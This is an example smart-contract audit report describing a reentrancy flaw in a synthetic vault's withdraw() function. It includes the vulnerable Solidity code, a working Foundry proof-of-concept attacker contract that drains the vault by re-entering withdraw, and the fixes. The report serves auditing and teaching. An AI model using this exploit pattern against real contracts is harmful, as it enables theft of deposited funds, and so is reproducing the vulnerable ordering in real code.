Skip to content

EXAMPLE — Reentrancy in a Vault Contract

Example report

This is an illustrative report showing the format Trilocore reports use. It targets a synthetic vault contract — no live protocol is being described, and no client engagement is being represented. Real reports replace this banner with a disclosure status (e.g. Patched 2026-07-01 or Coordinated disclosure pending).

Severity: critical · Target: 0x0000…0000 · Verdict: REPRODUCED · Value moved: 0x6F05B59D3B20000 wei (≈ 0.5 ETH) · Date: 2026-06-28

Summary

The vault's withdraw() function transfers ETH to the caller before zeroing their internal balance. Any caller whose receiving address is a contract can re-enter withdraw() from its fallback and empty the vault one deposit at a time. The finding needs no privileges and a single transaction, and was confirmed by replaying the constructed transaction against a forked mainnet snapshot.

Vulnerability

The vault's checks-effects-interactions ordering is wrong:

function withdraw(uint256 amount) external {
    require(balances[msg.sender] >= amount, "insufficient");
    (bool ok, ) = msg.sender.call{value: amount}("");   // ← external call FIRST
    require(ok, "send failed");
    balances[msg.sender] -= amount;                     // ← state update AFTER
}

The external call returns control to msg.sender's fallback before balances[msg.sender] is decremented. A contract caller can re-enter withdraw(amount) from its receive() and the require(balances[...] >= amount) check still passes — because the state has not been written yet.

How it was reproduced

The session ran in the Auditing IDE against a mainnet fork of the target.

  1. Locate. The Passive sweep over the deployed bytecode flags a CALL opcode followed by a later SSTORE on the same storage slot — the reentrancy shape — inside withdraw(uint256).
  2. Reach. Decoder resolves the selector 0x2e1a7d4d, and Dataflow traces the balance check to the balances mapping at storage slot 0x1. Storage confirms the slot's value for the caller before and after each step.
  3. Reproduce. Composer deploys an untrusted receiver contract whose receive() re-calls withdraw(amount) while balances[receiver] >= amount, then sends the deposit and the first withdrawal as one stateful run. Recursion depth is bounded by gas — about 8 nested calls in the proof of concept below.
  4. Verify. The fork is snapshotted before the run and restored after it, so the measurement is repeatable: the caller's balance delta after replay is 0x6F05B59D3B20000 wei. Verdict: REPRODUCED.

Reproduction

A minimal Foundry proof of concept reproduces the finding on a forked mainnet snapshot:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

interface IVault {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}

contract ReentrantReceiver {
    IVault public immutable vault;
    uint256 public amount;

    constructor(IVault _vault) payable { vault = _vault; }

    function run(uint256 _amount) external {
        amount = _amount;
        vault.deposit{value: _amount}();
        vault.withdraw(_amount);
    }

    receive() external payable {
        if (address(vault).balance >= amount) {
            vault.withdraw(amount);
        }
    }
}

Run it with:

forge test --fork-url $RPC_URL --match-test test_reentrancy -vvvv

The test asserts that the calling contract's post-balance exceeds its seed deposit by at least the reported value.

Impact

  • Affected funds: the full ETH balance held by the vault at the time of the run (in the synthetic target above, capped only by block.gaslimit on recursion depth).
  • Privilege required: none — any address able to deposit can reproduce it.
  • Detectability: a single transaction with an unusual recursion pattern. Easy to flag after the fact, hard to stop without an on-chain pause plus monitoring.

Mitigation

Two independent fixes; do both:

  1. Checks-Effects-Interactions ordering. Move the state update above the external call:

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "insufficient");
        balances[msg.sender] -= amount;                 // ← update FIRST
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "send failed");
    }
    
  2. Reentrancy guard. Wrap withdraw() in OpenZeppelin's nonReentrant modifier as defence in depth, in case a future maintainer reintroduces an interleaved external call.

After applying both, replay this report's proof of concept against a fork of the patched contract. The run should end with verdict NOT REPRODUCED and a zero balance delta.


Reproduced in the Trilocore Auditing IDE against a mainnet fork session. See the Audit reports index for what a report contains and how one gets here.